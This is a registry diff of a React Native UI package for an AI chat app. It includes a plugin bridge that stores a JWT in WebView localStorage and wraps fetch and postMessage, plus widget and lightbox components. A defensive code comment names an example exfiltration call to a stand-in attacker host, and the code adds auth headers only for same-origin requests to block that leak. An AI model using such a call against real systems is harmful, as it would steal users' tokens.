@ateam-ai-mobile/ui 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.d.mts +166 -0
- package/dist/index.d.ts +166 -0
- package/dist/index.js +1870 -0
- package/dist/index.js.map +1 -0
- package/dist/index.mjs +1853 -0
- package/dist/index.mjs.map +1 -0
- package/package.json +34 -0
- package/src/AdasChatScreen.tsx +170 -0
- package/src/Lightbox.tsx +55 -0
- package/src/chat/ChatInput.tsx +134 -0
- package/src/chat/JobProgressBar.tsx +221 -0
- package/src/chat/MessageBubble.tsx +494 -0
- package/src/chat/TableCardBlock.tsx +96 -0
- package/src/chat/TypingIndicator.tsx +20 -0
- package/src/chat/UIActionsRow.tsx +128 -0
- package/src/index.ts +38 -0
- package/src/plugin/EmbeddedPluginWebView.tsx +170 -0
- package/src/plugin/Plugin.tsx +178 -0
- package/src/plugin/PluginSurface.tsx +77 -0
- package/src/plugin/usePluginBridge.ts +383 -0
- package/src/providers.ts +46 -0
- package/src/stores/lightboxStore.ts +18 -0
- package/src/widgets/WidgetWebView.tsx +173 -0
|
@@ -0,0 +1,383 @@
|
|
|
1
|
+
import { useCallback, useEffect, useRef } from 'react';
|
|
2
|
+
import {
|
|
3
|
+
getTenant,
|
|
4
|
+
connectorCall,
|
|
5
|
+
mcpFetch,
|
|
6
|
+
mcpToolCall,
|
|
7
|
+
postCommandResult,
|
|
8
|
+
pluginCommandEmitter,
|
|
9
|
+
} from '@ateam-ai-mobile/core';
|
|
10
|
+
|
|
11
|
+
/**
|
|
12
|
+
* PostMessage bridge between the React Native host and a plugin WebView.
|
|
13
|
+
* Implements the same protocol as PluginHost.jsx in the web frontend.
|
|
14
|
+
*
|
|
15
|
+
* Handles THREE communication paths:
|
|
16
|
+
* 1. fetch("/mcp") — intercepted in bridge JS, proxied through postMessage
|
|
17
|
+
* 2. postMessage mcp-call — direct postMessage from plugin SDK
|
|
18
|
+
* 3. plugin commands — routed from the job stream to the WebView
|
|
19
|
+
*/
|
|
20
|
+
export function usePluginBridge(
|
|
21
|
+
pluginId: string,
|
|
22
|
+
connectorId?: string,
|
|
23
|
+
commandBufferRef?: React.MutableRefObject<any[]>,
|
|
24
|
+
wsRef?: { current: WebSocket | null },
|
|
25
|
+
) {
|
|
26
|
+
// Loosely typed on purpose: react-native-webview's generic class type
|
|
27
|
+
// resolves JSX props to `never` under React 19 typings when used as a
|
|
28
|
+
// useRef parameter. Runtime shape is the WebView instance (postMessage).
|
|
29
|
+
const webViewRef = useRef<any>(null);
|
|
30
|
+
|
|
31
|
+
// Send init message to plugin (mirrors web PluginHost sendInit)
|
|
32
|
+
const sendInit = useCallback(() => {
|
|
33
|
+
const msg = JSON.stringify({
|
|
34
|
+
source: 'adas-host',
|
|
35
|
+
pluginId,
|
|
36
|
+
message: {
|
|
37
|
+
type: 'init',
|
|
38
|
+
payload: {
|
|
39
|
+
tenant: getTenant(),
|
|
40
|
+
connectorId: connectorId || null,
|
|
41
|
+
mcpEndpoint: null,
|
|
42
|
+
slug: null,
|
|
43
|
+
skillSlug: null,
|
|
44
|
+
},
|
|
45
|
+
},
|
|
46
|
+
});
|
|
47
|
+
webViewRef.current?.postMessage(msg);
|
|
48
|
+
}, [pluginId, connectorId]);
|
|
49
|
+
|
|
50
|
+
// Send result back to plugin WebView
|
|
51
|
+
const sendToPlugin = useCallback(
|
|
52
|
+
(type: string, payload: any) => {
|
|
53
|
+
const msg = JSON.stringify({
|
|
54
|
+
source: 'adas-host',
|
|
55
|
+
message: { type, payload },
|
|
56
|
+
});
|
|
57
|
+
webViewRef.current?.postMessage(msg);
|
|
58
|
+
},
|
|
59
|
+
[],
|
|
60
|
+
);
|
|
61
|
+
|
|
62
|
+
// Helper to dispatch a command to the WebView plugin
|
|
63
|
+
const dispatchToWebView = useCallback((cmd: any) => {
|
|
64
|
+
if (cmd.command === '__focus') return; // Focus-only, handled by the host screen
|
|
65
|
+
const msg = JSON.stringify({
|
|
66
|
+
source: 'adas-host',
|
|
67
|
+
pluginId,
|
|
68
|
+
message: {
|
|
69
|
+
type: 'plugin.command',
|
|
70
|
+
payload: {
|
|
71
|
+
command: cmd.command,
|
|
72
|
+
args: cmd.args,
|
|
73
|
+
correlationId: cmd.correlationId,
|
|
74
|
+
},
|
|
75
|
+
},
|
|
76
|
+
});
|
|
77
|
+
webViewRef.current?.postMessage(msg);
|
|
78
|
+
}, [pluginId]);
|
|
79
|
+
|
|
80
|
+
// ── Listen for live plugin commands from the job stream ──
|
|
81
|
+
useEffect(() => {
|
|
82
|
+
const unsub = pluginCommandEmitter.on('plugin-command', (cmd: any) => {
|
|
83
|
+
if (cmd.pluginId !== pluginId) return;
|
|
84
|
+
dispatchToWebView(cmd);
|
|
85
|
+
});
|
|
86
|
+
return unsub;
|
|
87
|
+
}, [pluginId, dispatchToWebView]);
|
|
88
|
+
|
|
89
|
+
// ── Flush buffered commands when the WebView loads ──
|
|
90
|
+
useEffect(() => {
|
|
91
|
+
if (!commandBufferRef) return;
|
|
92
|
+
// Flush after a delay to let the iframe initialize
|
|
93
|
+
const timer = setTimeout(() => {
|
|
94
|
+
const buf = commandBufferRef.current;
|
|
95
|
+
const remaining: any[] = [];
|
|
96
|
+
for (const cmd of buf) {
|
|
97
|
+
if (cmd.pluginId === pluginId) {
|
|
98
|
+
dispatchToWebView(cmd);
|
|
99
|
+
} else {
|
|
100
|
+
remaining.push(cmd);
|
|
101
|
+
}
|
|
102
|
+
}
|
|
103
|
+
commandBufferRef.current = remaining;
|
|
104
|
+
}, 1000);
|
|
105
|
+
return () => clearTimeout(timer);
|
|
106
|
+
}, [pluginId, commandBufferRef, dispatchToWebView]);
|
|
107
|
+
|
|
108
|
+
// Handle messages from plugin WebView
|
|
109
|
+
const handleMessage = useCallback(
|
|
110
|
+
async (event: { nativeEvent: { data: string } }) => {
|
|
111
|
+
let data: any;
|
|
112
|
+
try {
|
|
113
|
+
data = JSON.parse(event.nativeEvent.data);
|
|
114
|
+
} catch {
|
|
115
|
+
return;
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
if (data.source !== 'adas-plugin') return;
|
|
119
|
+
|
|
120
|
+
const action = data.message?.action || data.action;
|
|
121
|
+
const payload = data.message?.payload || data.payload;
|
|
122
|
+
const type = data.message?.type || data.type;
|
|
123
|
+
|
|
124
|
+
// -----------------------------------------------------------------
|
|
125
|
+
// 1. Intercepted fetch("/mcp") — proxy to Core backend
|
|
126
|
+
// -----------------------------------------------------------------
|
|
127
|
+
if (action === 'mcp-fetch' && payload?.requestId) {
|
|
128
|
+
const { requestId, body } = payload;
|
|
129
|
+
try {
|
|
130
|
+
const result = await mcpFetch(body);
|
|
131
|
+
sendToPlugin('mcp-fetch-result', { requestId, result, error: null });
|
|
132
|
+
} catch (err: any) {
|
|
133
|
+
console.warn('[PluginBridge] mcp-fetch ERROR:', err.message);
|
|
134
|
+
sendToPlugin('mcp-fetch-result', { requestId, result: null, error: err.message });
|
|
135
|
+
}
|
|
136
|
+
return;
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
// -----------------------------------------------------------------
|
|
140
|
+
// 2. PostMessage mcp-call — plugin SDK's callTool()
|
|
141
|
+
// a) toolName present (e.g. "cp.fe_api") → JSON-RPC to /mcp
|
|
142
|
+
// b) direct connectorId/tool → /api/connectors/:id/call
|
|
143
|
+
// -----------------------------------------------------------------
|
|
144
|
+
if (action === 'mcp-call' && payload?.requestId) {
|
|
145
|
+
const { requestId, toolName, args: callArgs } = payload;
|
|
146
|
+
|
|
147
|
+
// Path A: JSON-RPC tool call (cp.fe_api, cp.admin_api, etc.)
|
|
148
|
+
if (toolName) {
|
|
149
|
+
try {
|
|
150
|
+
const rpcResponse = await mcpToolCall(toolName, callArgs || {});
|
|
151
|
+
// Unwrap the JSON-RPC envelope — plugin expects { content: [...] }
|
|
152
|
+
const result = rpcResponse?.result ?? rpcResponse;
|
|
153
|
+
sendToPlugin('mcp-result', { requestId, result, error: null });
|
|
154
|
+
} catch (err: any) {
|
|
155
|
+
sendToPlugin('mcp-result', { requestId, result: null, error: err.message });
|
|
156
|
+
}
|
|
157
|
+
return;
|
|
158
|
+
}
|
|
159
|
+
|
|
160
|
+
// Path B: direct connector call (connectorId + tool). The plugin may
|
|
161
|
+
// send connectorId/tool at payload level OR nested in args.
|
|
162
|
+
const cId = payload.connectorId || callArgs?.connectorId || callArgs?.params?.connectorId;
|
|
163
|
+
const tool = payload.tool || callArgs?.tool || callArgs?.params?.tool;
|
|
164
|
+
const toolArgs = payload.args || callArgs?.args || callArgs?.params?.args || {};
|
|
165
|
+
|
|
166
|
+
if (!cId || !tool) {
|
|
167
|
+
console.error(`[PluginBridge] mcp-call missing params — connectorId: ${cId}, tool: ${tool}`);
|
|
168
|
+
sendToPlugin('mcp-result', { requestId, result: null, error: `Missing connectorId or tool in mcp-call. Got connectorId=${cId}, tool=${tool}` });
|
|
169
|
+
return;
|
|
170
|
+
}
|
|
171
|
+
|
|
172
|
+
try {
|
|
173
|
+
const data = await connectorCall(cId, tool, toolArgs);
|
|
174
|
+
if (data.ok) {
|
|
175
|
+
sendToPlugin('mcp-result', { requestId, result: data.result, error: null });
|
|
176
|
+
} else {
|
|
177
|
+
sendToPlugin('mcp-result', { requestId, result: null, error: data.error || 'MCP call failed' });
|
|
178
|
+
}
|
|
179
|
+
} catch (err: any) {
|
|
180
|
+
sendToPlugin('mcp-result', { requestId, result: null, error: err.message });
|
|
181
|
+
}
|
|
182
|
+
return;
|
|
183
|
+
}
|
|
184
|
+
|
|
185
|
+
// -----------------------------------------------------------------
|
|
186
|
+
// 3. Plugin self-close — return to chat
|
|
187
|
+
// -----------------------------------------------------------------
|
|
188
|
+
if (action === 'close') {
|
|
189
|
+
pluginCommandEmitter.emit('plugin-close', { pluginId });
|
|
190
|
+
return;
|
|
191
|
+
}
|
|
192
|
+
|
|
193
|
+
// -----------------------------------------------------------------
|
|
194
|
+
// 4. Plugin command result — WebSocket (preferred) or HTTP POST
|
|
195
|
+
// -----------------------------------------------------------------
|
|
196
|
+
if (type === 'plugin.command.result' && payload?.correlationId) {
|
|
197
|
+
const ws = wsRef?.current;
|
|
198
|
+
if (ws && ws.readyState === WebSocket.OPEN) {
|
|
199
|
+
try {
|
|
200
|
+
ws.send(JSON.stringify({
|
|
201
|
+
type: 'plugin-command-result',
|
|
202
|
+
correlationId: payload.correlationId,
|
|
203
|
+
result: payload.result,
|
|
204
|
+
error: payload.error,
|
|
205
|
+
}));
|
|
206
|
+
} catch (err: any) {
|
|
207
|
+
console.warn('[PluginBridge] WS send failed, falling back to POST:', err.message);
|
|
208
|
+
await postCommandResult(payload.correlationId, payload.result, payload.error).catch(() => {});
|
|
209
|
+
}
|
|
210
|
+
} else {
|
|
211
|
+
try {
|
|
212
|
+
await postCommandResult(payload.correlationId, payload.result, payload.error);
|
|
213
|
+
} catch (err: any) {
|
|
214
|
+
console.warn('[PluginBridge] Failed to send command result:', err.message);
|
|
215
|
+
}
|
|
216
|
+
}
|
|
217
|
+
return;
|
|
218
|
+
}
|
|
219
|
+
},
|
|
220
|
+
[sendToPlugin],
|
|
221
|
+
);
|
|
222
|
+
|
|
223
|
+
return {
|
|
224
|
+
webViewRef,
|
|
225
|
+
sendInit,
|
|
226
|
+
handleMessage,
|
|
227
|
+
};
|
|
228
|
+
}
|
|
229
|
+
|
|
230
|
+
/**
|
|
231
|
+
* Build injected JavaScript that:
|
|
232
|
+
* 1. Seeds localStorage with JWT + tenant (plugins read from localStorage)
|
|
233
|
+
* 2. Intercepts fetch("/mcp") and proxies through the postMessage bridge
|
|
234
|
+
* 3. Bridges iframe postMessage API to React Native WebView
|
|
235
|
+
*
|
|
236
|
+
* This makes existing web plugins work on mobile WITHOUT modification.
|
|
237
|
+
*/
|
|
238
|
+
export function buildPluginBridgeJS(jwt: string, tenant: string): string {
|
|
239
|
+
return `
|
|
240
|
+
(function() {
|
|
241
|
+
function _dbg(msg) {
|
|
242
|
+
console.log('[PluginBridge] ' + msg);
|
|
243
|
+
}
|
|
244
|
+
|
|
245
|
+
// 1. Seed localStorage. JWT is required by web-shared plugin code
|
|
246
|
+
// (cpFeApi.ts etc. read localStorage.adas.jwt directly). Origin lockdown
|
|
247
|
+
// lives in EmbeddedPluginWebView (originWhitelist +
|
|
248
|
+
// onShouldStartLoadWithRequest) — not here. Never log the token.
|
|
249
|
+
try {
|
|
250
|
+
localStorage.setItem('adas.jwt', ${JSON.stringify(jwt)});
|
|
251
|
+
localStorage.setItem('adas.tenant', ${JSON.stringify(tenant)});
|
|
252
|
+
_dbg('localStorage seeded: jwt=' + (${JSON.stringify(jwt)} ? '[present]' : '[absent]') + ' tenant=' + ${JSON.stringify(tenant)});
|
|
253
|
+
} catch(e) { _dbg('localStorage ERROR: ' + e.message); }
|
|
254
|
+
|
|
255
|
+
// 2. Intercept ALL fetch calls — proxy /mcp through the RN bridge
|
|
256
|
+
var _origFetch = window.fetch.bind(window);
|
|
257
|
+
var _mcpReqId = 0;
|
|
258
|
+
var _pendingMcp = {};
|
|
259
|
+
|
|
260
|
+
window.fetch = function(url, opts) {
|
|
261
|
+
var urlStr = (typeof url === 'string') ? url : (url && url.url) || '';
|
|
262
|
+
var method = (opts && opts.method) || 'GET';
|
|
263
|
+
|
|
264
|
+
_dbg('FETCH ' + method + ' ' + urlStr.substring(0, 80));
|
|
265
|
+
|
|
266
|
+
// Intercept /mcp calls
|
|
267
|
+
if (urlStr === '/mcp' || urlStr.endsWith('/mcp')) {
|
|
268
|
+
_dbg(' -> INTERCEPTED /mcp, proxying via RN bridge');
|
|
269
|
+
return new Promise(function(resolve, reject) {
|
|
270
|
+
var requestId = 'mcp-f-' + (++_mcpReqId) + '-' + Date.now();
|
|
271
|
+
_pendingMcp[requestId] = { resolve: resolve, reject: reject };
|
|
272
|
+
window.ReactNativeWebView.postMessage(JSON.stringify({
|
|
273
|
+
source: 'adas-plugin',
|
|
274
|
+
action: 'mcp-fetch',
|
|
275
|
+
payload: { requestId: requestId, body: opts && opts.body ? opts.body : null }
|
|
276
|
+
}));
|
|
277
|
+
setTimeout(function() {
|
|
278
|
+
if (_pendingMcp[requestId]) {
|
|
279
|
+
delete _pendingMcp[requestId];
|
|
280
|
+
_dbg('TIMEOUT mcp-fetch ' + requestId);
|
|
281
|
+
reject(new Error('MCP fetch timeout (30s)'));
|
|
282
|
+
}
|
|
283
|
+
}, 30000);
|
|
284
|
+
});
|
|
285
|
+
}
|
|
286
|
+
|
|
287
|
+
// Inject Authorization header ONLY for same-origin requests. A relative
|
|
288
|
+
// path resolves against window.location.origin; an absolute URL must
|
|
289
|
+
// literally match. This stops a plugin from leaking the JWT to a foreign
|
|
290
|
+
// host via fetch('https://attacker.com/x') or via <base href>.
|
|
291
|
+
var sameOrigin = false;
|
|
292
|
+
try {
|
|
293
|
+
var resolved = new URL(urlStr, window.location.origin);
|
|
294
|
+
sameOrigin = (resolved.origin === window.location.origin);
|
|
295
|
+
} catch (_) { sameOrigin = false; }
|
|
296
|
+
if (sameOrigin) {
|
|
297
|
+
opts = Object.assign({}, opts || {});
|
|
298
|
+
var h = opts.headers;
|
|
299
|
+
if (h instanceof Headers) {
|
|
300
|
+
if (!h.has('Authorization')) { var jwt = localStorage.getItem('adas.jwt'); if (jwt) h.set('Authorization', 'Bearer ' + jwt); }
|
|
301
|
+
} else {
|
|
302
|
+
h = Object.assign({}, h || {});
|
|
303
|
+
if (!h['Authorization'] && !h['authorization']) { var jwt2 = localStorage.getItem('adas.jwt'); if (jwt2) h['Authorization'] = 'Bearer ' + jwt2; }
|
|
304
|
+
opts.headers = h;
|
|
305
|
+
}
|
|
306
|
+
}
|
|
307
|
+
|
|
308
|
+
return _origFetch(url, opts).then(function(res) {
|
|
309
|
+
_dbg(' <- ' + res.status + ' ' + urlStr.substring(0, 60));
|
|
310
|
+
return res;
|
|
311
|
+
}).catch(function(err) {
|
|
312
|
+
_dbg(' <- FETCH ERR: ' + err.message + ' ' + urlStr.substring(0, 40));
|
|
313
|
+
throw err;
|
|
314
|
+
});
|
|
315
|
+
};
|
|
316
|
+
|
|
317
|
+
// Handle results from RN host
|
|
318
|
+
function _handleHostMessage(d) {
|
|
319
|
+
if (!d || d.source !== 'adas-host') return;
|
|
320
|
+
var msg = d.message || {};
|
|
321
|
+
|
|
322
|
+
// mcp-fetch-result: response to intercepted fetch("/mcp")
|
|
323
|
+
if (msg.type === 'mcp-fetch-result' && msg.payload) {
|
|
324
|
+
var p = msg.payload;
|
|
325
|
+
var pending = _pendingMcp[p.requestId];
|
|
326
|
+
if (pending) {
|
|
327
|
+
delete _pendingMcp[p.requestId];
|
|
328
|
+
if (p.error) {
|
|
329
|
+
pending.reject(new Error(p.error));
|
|
330
|
+
} else {
|
|
331
|
+
pending.resolve(new Response(JSON.stringify(p.result), {
|
|
332
|
+
status: 200,
|
|
333
|
+
headers: { 'Content-Type': 'application/json' }
|
|
334
|
+
}));
|
|
335
|
+
}
|
|
336
|
+
}
|
|
337
|
+
}
|
|
338
|
+
}
|
|
339
|
+
|
|
340
|
+
// 3. Override window.parent.postMessage (plugins use this in iframes)
|
|
341
|
+
window.parent = window.parent || {};
|
|
342
|
+
window.parent.postMessage = function(data, origin) {
|
|
343
|
+
if (data && data.source === 'adas-plugin') {
|
|
344
|
+
window.ReactNativeWebView.postMessage(JSON.stringify(data));
|
|
345
|
+
}
|
|
346
|
+
};
|
|
347
|
+
|
|
348
|
+
// 4. Also intercept direct window.postMessage
|
|
349
|
+
var origPost = window.postMessage.bind(window);
|
|
350
|
+
window.postMessage = function(data, origin) {
|
|
351
|
+
if (data && data.source === 'adas-plugin') {
|
|
352
|
+
window.ReactNativeWebView.postMessage(JSON.stringify(data));
|
|
353
|
+
}
|
|
354
|
+
origPost(data, origin);
|
|
355
|
+
};
|
|
356
|
+
|
|
357
|
+
// 5. Forward messages from RN host -> plugin
|
|
358
|
+
// iOS: window 'message' event, Android: document 'message' event
|
|
359
|
+
window.addEventListener('message', function(e) {
|
|
360
|
+
try {
|
|
361
|
+
var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
|
|
362
|
+
if (d && d.source === 'adas-host') {
|
|
363
|
+
_handleHostMessage(d);
|
|
364
|
+
if (typeof e.data === 'string') {
|
|
365
|
+
window.dispatchEvent(new MessageEvent('message', { data: d }));
|
|
366
|
+
}
|
|
367
|
+
}
|
|
368
|
+
} catch(_) {}
|
|
369
|
+
});
|
|
370
|
+
|
|
371
|
+
document.addEventListener('message', function(e) {
|
|
372
|
+
try {
|
|
373
|
+
var d = typeof e.data === 'string' ? JSON.parse(e.data) : e.data;
|
|
374
|
+
_handleHostMessage(d);
|
|
375
|
+
window.dispatchEvent(new MessageEvent('message', { data: d }));
|
|
376
|
+
} catch(_) {}
|
|
377
|
+
});
|
|
378
|
+
|
|
379
|
+
_dbg('Bridge JS loaded. Waiting for plugin...');
|
|
380
|
+
true;
|
|
381
|
+
})();
|
|
382
|
+
`;
|
|
383
|
+
}
|
package/src/providers.ts
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Host integration points for @ateam-ai-mobile/ui — same DI pattern as
|
|
3
|
+
* @ateam-ai-mobile/plugin-runtime's host.ts. Everything has a safe default; the host
|
|
4
|
+
* (or @ateam-ai-mobile/expo) wires real implementations at startup.
|
|
5
|
+
*/
|
|
6
|
+
|
|
7
|
+
// ── Clipboard ──────────────────────────────────────────────────────────────
|
|
8
|
+
|
|
9
|
+
export interface ClipboardProvider {
|
|
10
|
+
setString(text: string): Promise<void>;
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
let _clipboard: ClipboardProvider | null = null;
|
|
14
|
+
|
|
15
|
+
/** Register a clipboard implementation (e.g. expo-clipboard via @ateam-ai-mobile/expo). */
|
|
16
|
+
export function setClipboardProvider(clipboard: ClipboardProvider | null): void {
|
|
17
|
+
_clipboard = clipboard;
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
export function getClipboard(): ClipboardProvider | null {
|
|
21
|
+
return _clipboard;
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
// ── UI-action navigation ───────────────────────────────────────────────────
|
|
25
|
+
// Chips with a plugin target need to open the host's plugin screen. The SDK
|
|
26
|
+
// never imports a router — the HOST owns navigation and registers a handler
|
|
27
|
+
// (e.g. Expo Router: router.push({ pathname: '/plugin/[id]', params })).
|
|
28
|
+
|
|
29
|
+
export interface UIActionRoute {
|
|
30
|
+
/** Full plugin id, e.g. "mcp:connector:plugin" or "platform:<name>". */
|
|
31
|
+
pluginId: string;
|
|
32
|
+
/** Query params the plugin reads on load (focus, tool, args, verb). */
|
|
33
|
+
params: Record<string, string>;
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
type UIActionNavigator = (route: UIActionRoute) => void;
|
|
37
|
+
|
|
38
|
+
let _navigator: UIActionNavigator | null = null;
|
|
39
|
+
|
|
40
|
+
export function setUIActionNavigator(navigate: UIActionNavigator | null): void {
|
|
41
|
+
_navigator = navigate;
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
export function getUIActionNavigator(): UIActionNavigator | null {
|
|
45
|
+
return _navigator;
|
|
46
|
+
}
|
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Lightbox store — any component can open a fullscreen image viewer
|
|
3
|
+
* by calling `useLightboxStore.getState().show(uri)`. The lightbox is
|
|
4
|
+
* mounted once at the app root.
|
|
5
|
+
*/
|
|
6
|
+
import { create } from 'zustand';
|
|
7
|
+
|
|
8
|
+
interface LightboxState {
|
|
9
|
+
uri: string | null;
|
|
10
|
+
show: (uri: string) => void;
|
|
11
|
+
hide: () => void;
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
export const useLightboxStore = create<LightboxState>((set) => ({
|
|
15
|
+
uri: null,
|
|
16
|
+
show: (uri) => set({ uri }),
|
|
17
|
+
hide: () => set({ uri: null }),
|
|
18
|
+
}));
|
|
@@ -0,0 +1,173 @@
|
|
|
1
|
+
// src/components/widgets/WidgetWebView.tsx
|
|
2
|
+
//
|
|
3
|
+
// Fullscreen modal that renders an ACS widget bundle in a WebView.
|
|
4
|
+
//
|
|
5
|
+
// The bundleUrl on each /surface item is a signed URL minted by the backend
|
|
6
|
+
// proxy (apps/backend/routes/acsProxy.js → signItemBundleUrl). The URL
|
|
7
|
+
// self-authenticates — the bundle endpoint verifies sig/exp/tenant/actor on
|
|
8
|
+
// the server side — so the WebView doesn't need to pass auth headers.
|
|
9
|
+
//
|
|
10
|
+
// Relative URLs (e.g. `/api/acs/artifacts/.../bundle/1?sig=…`) are prepended
|
|
11
|
+
// with the current core URL from configStore.
|
|
12
|
+
//
|
|
13
|
+
// Strict CSP is set on the response by the bundle endpoint. We additionally
|
|
14
|
+
// disable JS injection paths we don't need (no onMessage handlers wired,
|
|
15
|
+
// no injectedJavaScriptBeforeContentLoaded).
|
|
16
|
+
|
|
17
|
+
import { useMemo, useState } from 'react';
|
|
18
|
+
import {
|
|
19
|
+
Modal,
|
|
20
|
+
View,
|
|
21
|
+
Text,
|
|
22
|
+
Pressable,
|
|
23
|
+
StyleSheet,
|
|
24
|
+
ActivityIndicator,
|
|
25
|
+
Platform,
|
|
26
|
+
} from 'react-native';
|
|
27
|
+
import { WebView } from 'react-native-webview';
|
|
28
|
+
import { ada } from '@ateam-ai-mobile/core';
|
|
29
|
+
import { getCoreApiUrl } from '@ateam-ai-mobile/core';
|
|
30
|
+
|
|
31
|
+
const fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;
|
|
32
|
+
|
|
33
|
+
interface Props {
|
|
34
|
+
visible: boolean;
|
|
35
|
+
/** Display title shown in the top bar. */
|
|
36
|
+
title?: string;
|
|
37
|
+
/** Signed bundle URL from a /surface item. Relative or absolute. */
|
|
38
|
+
bundleUrl?: string;
|
|
39
|
+
onClose: () => void;
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
export default function WidgetWebView({ visible, title, bundleUrl, onClose }: Props) {
|
|
43
|
+
const [loading, setLoading] = useState(true);
|
|
44
|
+
const [error, setError] = useState<string | null>(null);
|
|
45
|
+
|
|
46
|
+
// Absolute URL — prepend the resolved core if backend returned a relative path.
|
|
47
|
+
const uri = useMemo(() => {
|
|
48
|
+
if (!bundleUrl) return null;
|
|
49
|
+
if (/^https?:\/\//i.test(bundleUrl)) return bundleUrl;
|
|
50
|
+
return `${getCoreApiUrl()}${bundleUrl}`;
|
|
51
|
+
}, [bundleUrl]);
|
|
52
|
+
|
|
53
|
+
return (
|
|
54
|
+
<Modal
|
|
55
|
+
visible={visible}
|
|
56
|
+
animationType="slide"
|
|
57
|
+
presentationStyle="pageSheet"
|
|
58
|
+
onRequestClose={onClose}
|
|
59
|
+
>
|
|
60
|
+
<View style={styles.root}>
|
|
61
|
+
<View style={styles.bar}>
|
|
62
|
+
<Pressable onPress={onClose} hitSlop={12} style={styles.closeBtn}>
|
|
63
|
+
<Text style={styles.closeIcon}>{'✕'}</Text>
|
|
64
|
+
</Pressable>
|
|
65
|
+
<Text style={styles.title} numberOfLines={1}>{title || 'Widget'}</Text>
|
|
66
|
+
{/* Spacer matches closeBtn width so the title stays centered */}
|
|
67
|
+
<View style={styles.closeBtn} />
|
|
68
|
+
</View>
|
|
69
|
+
{!uri ? (
|
|
70
|
+
<View style={styles.errorWrap}>
|
|
71
|
+
<Text style={styles.errorText}>No bundle available for this widget.</Text>
|
|
72
|
+
</View>
|
|
73
|
+
) : error ? (
|
|
74
|
+
<View style={styles.errorWrap}>
|
|
75
|
+
<Text style={styles.errorText}>Couldn't load widget</Text>
|
|
76
|
+
<Text style={styles.errorSub}>{error}</Text>
|
|
77
|
+
</View>
|
|
78
|
+
) : (
|
|
79
|
+
<>
|
|
80
|
+
<WebView
|
|
81
|
+
source={{ uri }}
|
|
82
|
+
style={styles.web}
|
|
83
|
+
onLoadStart={() => { setLoading(true); setError(null); }}
|
|
84
|
+
onLoadEnd={() => setLoading(false)}
|
|
85
|
+
onError={(e) => {
|
|
86
|
+
setLoading(false);
|
|
87
|
+
setError(e.nativeEvent.description || 'Unknown error');
|
|
88
|
+
}}
|
|
89
|
+
onHttpError={(e) => {
|
|
90
|
+
setLoading(false);
|
|
91
|
+
setError(`HTTP ${e.nativeEvent.statusCode}`);
|
|
92
|
+
}}
|
|
93
|
+
// The bundle is the only thing this WebView should render.
|
|
94
|
+
// Block navigation away from it (prevents accidental browse
|
|
95
|
+
// out of the widget sandbox into arbitrary URLs).
|
|
96
|
+
originWhitelist={['https://*']}
|
|
97
|
+
setSupportMultipleWindows={false}
|
|
98
|
+
/>
|
|
99
|
+
{loading && (
|
|
100
|
+
<View pointerEvents="none" style={styles.spinner}>
|
|
101
|
+
<ActivityIndicator color={ada.orange} />
|
|
102
|
+
</View>
|
|
103
|
+
)}
|
|
104
|
+
</>
|
|
105
|
+
)}
|
|
106
|
+
</View>
|
|
107
|
+
</Modal>
|
|
108
|
+
);
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
const styles = StyleSheet.create({
|
|
112
|
+
root: {
|
|
113
|
+
flex: 1,
|
|
114
|
+
backgroundColor: ada.paper,
|
|
115
|
+
},
|
|
116
|
+
bar: {
|
|
117
|
+
flexDirection: 'row',
|
|
118
|
+
alignItems: 'center',
|
|
119
|
+
paddingHorizontal: 14,
|
|
120
|
+
paddingVertical: 12,
|
|
121
|
+
borderBottomWidth: 1,
|
|
122
|
+
borderBottomColor: ada.border,
|
|
123
|
+
backgroundColor: ada.paperSoft,
|
|
124
|
+
},
|
|
125
|
+
closeBtn: {
|
|
126
|
+
width: 32,
|
|
127
|
+
height: 32,
|
|
128
|
+
alignItems: 'center',
|
|
129
|
+
justifyContent: 'center',
|
|
130
|
+
},
|
|
131
|
+
closeIcon: {
|
|
132
|
+
fontSize: 18,
|
|
133
|
+
color: ada.ink,
|
|
134
|
+
fontWeight: '500',
|
|
135
|
+
},
|
|
136
|
+
title: {
|
|
137
|
+
flex: 1,
|
|
138
|
+
textAlign: 'center',
|
|
139
|
+
fontSize: 16,
|
|
140
|
+
fontWeight: '600',
|
|
141
|
+
color: ada.ink,
|
|
142
|
+
fontFamily: fontFam,
|
|
143
|
+
letterSpacing: -0.2,
|
|
144
|
+
},
|
|
145
|
+
web: {
|
|
146
|
+
flex: 1,
|
|
147
|
+
backgroundColor: ada.paper,
|
|
148
|
+
},
|
|
149
|
+
spinner: {
|
|
150
|
+
position: 'absolute',
|
|
151
|
+
top: 80,
|
|
152
|
+
left: 0,
|
|
153
|
+
right: 0,
|
|
154
|
+
alignItems: 'center',
|
|
155
|
+
},
|
|
156
|
+
errorWrap: {
|
|
157
|
+
flex: 1,
|
|
158
|
+
alignItems: 'center',
|
|
159
|
+
justifyContent: 'center',
|
|
160
|
+
paddingHorizontal: 24,
|
|
161
|
+
},
|
|
162
|
+
errorText: {
|
|
163
|
+
fontSize: 15,
|
|
164
|
+
color: ada.ink,
|
|
165
|
+
fontWeight: '600',
|
|
166
|
+
marginBottom: 6,
|
|
167
|
+
},
|
|
168
|
+
errorSub: {
|
|
169
|
+
fontSize: 13,
|
|
170
|
+
color: ada.inkMuted,
|
|
171
|
+
textAlign: 'center',
|
|
172
|
+
},
|
|
173
|
+
});
|